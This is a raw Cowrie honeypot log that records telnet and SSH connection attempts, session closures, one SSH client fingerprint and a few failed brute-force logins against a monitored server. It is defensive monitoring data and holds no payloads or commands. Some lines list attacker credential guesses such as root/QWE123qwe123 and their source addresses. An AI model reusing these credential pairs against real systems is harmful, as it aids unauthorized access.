{"eventid":"cowrie.session.closed","duration":30.89667272567749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.314963Z","src_ip":"51.15.157.40","session":"48ac9553478c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58266,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0fa3bb75c07","protocol":"telnet","message":"New connection: 51.15.157.40:58266 (159.203.135.109:23) [session: a0fa3bb75c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.323429Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.763672Z","src_ip":"113.163.156.190","session":"ad2e84896c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.382097244262695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.094162Z","src_ip":"51.15.157.40","session":"29db4e91dfad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.824877977371216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.147720Z","src_ip":"34.69.118.1","session":"39135e3c0ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36624,"dst_ip":"159.203.135.109","dst_port":23,"session":"65be26df6505","protocol":"telnet","message":"New connection: 51.15.157.40:36624 (159.203.135.109:23) [session: 65be26df6505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.246304Z"}
{"eventid":"cowrie.session.closed","duration":30.578875303268433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.387385Z","src_ip":"51.15.157.40","session":"ff702b506121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73838448524475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.402414Z","src_ip":"51.15.157.40","session":"84ab95cfe767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37506,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f9fe6e21c1","protocol":"telnet","message":"New connection: 51.15.157.40:37506 (159.203.135.109:23) [session: 31f9fe6e21c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.503763Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37942,"dst_ip":"159.203.135.109","dst_port":23,"session":"0622728975ef","protocol":"telnet","message":"New connection: 51.15.157.40:37942 (159.203.135.109:23) [session: 0622728975ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.635844Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38100,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a9efb10d5d","protocol":"telnet","message":"New connection: 51.15.157.40:38100 (159.203.135.109:23) [session: a6a9efb10d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.692770Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37604,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb3233c7a35","protocol":"telnet","message":"New connection: 157.15.20.138:37604 (159.203.135.109:23) [session: efb3233c7a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:04.768096Z"}
{"eventid":"cowrie.session.closed","duration":31.052144289016724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.127199Z","src_ip":"104.236.196.85","session":"1d55afe8c5e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121448278427124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.314248Z","src_ip":"104.236.196.85","session":"97d275fe71a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13093590736389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.437908Z","src_ip":"157.15.20.138","session":"9c0c71db2057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f59ca5230411","protocol":"telnet","message":"New connection: 34.69.118.1:50962 (159.203.135.109:23) [session: f59ca5230411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.585347Z"}
{"eventid":"cowrie.session.closed","duration":31.03676748275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.649367Z","src_ip":"51.15.157.40","session":"96226e2faf01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29629349708557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.772224Z","src_ip":"157.15.20.138","session":"9b3424cf6e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":37306,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c38f6f49346","protocol":"telnet","message":"New connection: 62.171.133.168:37306 (159.203.135.109:23) [session: 2c38f6f49346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:05.898517Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":37308,"dst_ip":"159.203.135.109","dst_port":23,"session":"63d58d2490f6","protocol":"telnet","message":"New connection: 62.171.133.168:37308 (159.203.135.109:23) [session: 63d58d2490f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.143613Z"}
{"eventid":"cowrie.session.closed","duration":30.368911743164062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.150245Z","src_ip":"157.15.20.138","session":"c356f221c8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981227159500122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.154741Z","src_ip":"104.236.196.85","session":"fa41b0cf7418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063112258911133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.174515Z","src_ip":"104.236.196.85","session":"c032c9625d9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768264532089233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.235156Z","src_ip":"103.171.45.122","session":"cd324e3c663d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136805772781372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.241686Z","src_ip":"104.236.196.85","session":"a3210f9eba51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42388,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87d354d366b","protocol":"telnet","message":"New connection: 51.15.157.40:42388 (159.203.135.109:23) [session: a87d354d366b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.306560Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e63ba1639e61","protocol":"telnet","message":"New connection: 51.15.157.40:33778 (159.203.135.109:23) [session: e63ba1639e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.400398Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43174,"dst_ip":"159.203.135.109","dst_port":23,"session":"31619826351d","protocol":"telnet","message":"New connection: 51.15.157.40:43174 (159.203.135.109:23) [session: 31619826351d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.476793Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50976,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d232976d0a","protocol":"telnet","message":"New connection: 34.69.118.1:50976 (159.203.135.109:23) [session: 45d232976d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.529083Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6656f7c06554","protocol":"telnet","message":"New connection: 51.15.157.40:43600 (159.203.135.109:23) [session: 6656f7c06554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.607309Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41630,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d29617c89f","protocol":"telnet","message":"New connection: 157.15.20.138:41630 (159.203.135.109:23) [session: d5d29617c89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.632342Z"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.703927Z","src_ip":"122.168.114.167","session":"16ad311f4113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.188464164733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.830994Z","src_ip":"157.15.20.138","session":"c879c9f65437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49470,"dst_ip":"159.203.135.109","dst_port":23,"session":"4402c49361b1","protocol":"telnet","message":"New connection: 103.171.45.122:49470 (159.203.135.109:23) [session: 4402c49361b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:06.926364Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"012696722f66","protocol":"telnet","message":"New connection: 51.15.157.40:45118 (159.203.135.109:23) [session: 012696722f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.087358Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50984,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1ff8474e034","protocol":"telnet","message":"New connection: 34.69.118.1:50984 (159.203.135.109:23) [session: e1ff8474e034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.107304Z"}
{"eventid":"cowrie.session.closed","duration":30.51531672477722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.195262Z","src_ip":"157.15.20.138","session":"b07eebf4abaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638505220413208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.253678Z","src_ip":"51.15.157.40","session":"4d18ef58fd38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175559759140015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.259169Z","src_ip":"104.236.196.85","session":"74240ee2ef0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42670,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec8f77b88de","protocol":"telnet","message":"New connection: 51.15.157.40:42670 (159.203.135.109:23) [session: 6ec8f77b88de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.356964Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":50654,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c3c763077c","protocol":"ssh","message":"New connection: 76.127.61.251:50654 (10.17.0.5:22) [session: f6c3c763077c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.362188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.367408Z","src_ip":"76.127.61.251","session":"f6c3c763077c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.425105Z","src_ip":"76.127.61.251","session":"f6c3c763077c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE123qwe123","message":"login attempt [root/QWE123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.689965Z","src_ip":"76.127.61.251","session":"f6c3c763077c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"6862495ad4a0","protocol":"telnet","message":"New connection: 51.15.157.40:47086 (159.203.135.109:23) [session: 6862495ad4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.753328Z"}
{"eventid":"cowrie.session.closed","duration":30.974225759506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:07.815444Z","src_ip":"34.69.118.1","session":"5444280428b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48288,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e29dd3b4d7","protocol":"telnet","message":"New connection: 51.15.157.40:48288 (159.203.135.109:23) [session: d8e29dd3b4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.245068Z"}
{"eventid":"cowrie.session.closed","duration":30.926562547683716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.287096Z","src_ip":"51.15.157.40","session":"d2145adb27a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41636,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61a2f9ea3b6","protocol":"telnet","message":"New connection: 157.15.20.138:41636 (159.203.135.109:23) [session: e61a2f9ea3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.466839Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.750085Z","src_ip":"76.127.61.251","session":"f6c3c763077c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.038187980651855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.850473Z","src_ip":"34.69.118.1","session":"5aad44c1ba34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50948,"dst_ip":"159.203.135.109","dst_port":23,"session":"06583fc43443","protocol":"telnet","message":"New connection: 51.15.157.40:50948 (159.203.135.109:23) [session: 06583fc43443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:08.972510Z"}
{"eventid":"cowrie.session.closed","duration":30.882415294647217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:09.160579Z","src_ip":"157.15.20.138","session":"fd4833c35c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"88610d7557b0","protocol":"telnet","message":"New connection: 51.15.157.40:48540 (159.203.135.109:23) [session: 88610d7557b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:09.310139Z"}
{"eventid":"cowrie.session.closed","duration":31.35088539123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:09.366945Z","src_ip":"157.15.20.138","session":"e04887cc8e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22133731842041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:09.647745Z","src_ip":"51.15.157.40","session":"4eb98a5c08ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46713161468506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:09.782446Z","src_ip":"89.39.83.70","session":"5f0960928447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb50130e1947","protocol":"telnet","message":"New connection: 157.15.20.138:41640 (159.203.135.109:23) [session: bb50130e1947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:10.052862Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51370,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d507ff6fd57","protocol":"telnet","message":"New connection: 51.15.157.40:51370 (159.203.135.109:23) [session: 5d507ff6fd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:10.182101Z"}
{"eventid":"cowrie.session.closed","duration":31.258373737335205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:10.638844Z","src_ip":"51.15.157.40","session":"c62dcb20678f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722973108291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:11.056184Z","src_ip":"51.15.157.40","session":"7d9caea894f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507286548614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:11.092876Z","src_ip":"51.15.157.40","session":"be5b4f944865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040823459625244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:11.164366Z","src_ip":"51.15.157.40","session":"43b51354b05b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262934684753418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:11.390856Z","src_ip":"34.69.118.1","session":"f56561bb0ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.1","message":"Connection lost after 21.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:11.475494Z","src_ip":"122.168.114.167","session":"16ad311f4113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.094971656799316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:12.057585Z","src_ip":"51.15.157.40","session":"0e5dda655441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22697925567627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:12.109286Z","src_ip":"51.15.157.40","session":"199e49f8b0e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86890411376953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:12.133562Z","src_ip":"51.15.157.40","session":"6391805478f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126465559005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:12.421486Z","src_ip":"51.15.157.40","session":"897c4af1113b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388002395629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:12.776718Z","src_ip":"89.39.83.70","session":"0de2d34995c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667962312698364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:13.021669Z","src_ip":"62.171.133.168","session":"03054d7cb3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47927761077881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:13.153083Z","src_ip":"157.15.20.138","session":"08623a5a0fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289281845092773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:13.157711Z","src_ip":"157.15.20.138","session":"f47e2335977d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915400981903076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:13.275601Z","src_ip":"157.15.20.138","session":"df26a96303f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41107678413391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:13.289202Z","src_ip":"51.15.157.40","session":"21afdf1d3438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":41644,"dst_ip":"159.203.135.109","dst_port":23,"session":"280e42409552","protocol":"telnet","message":"New connection: 157.15.20.138:41644 (159.203.135.109:23) [session: 280e42409552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:14.038544Z"}
{"eventid":"cowrie.session.closed","duration":30.64966583251953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:14.103537Z","src_ip":"51.15.157.40","session":"06ccf7fa9c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54172,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5ad01568e0","protocol":"telnet","message":"New connection: 103.171.45.122:54172 (159.203.135.109:23) [session: 1c5ad01568e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:14.317657Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33008,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7e131948dbd","protocol":"telnet","message":"New connection: 51.15.157.40:33008 (159.203.135.109:23) [session: a7e131948dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:14.880864Z"}
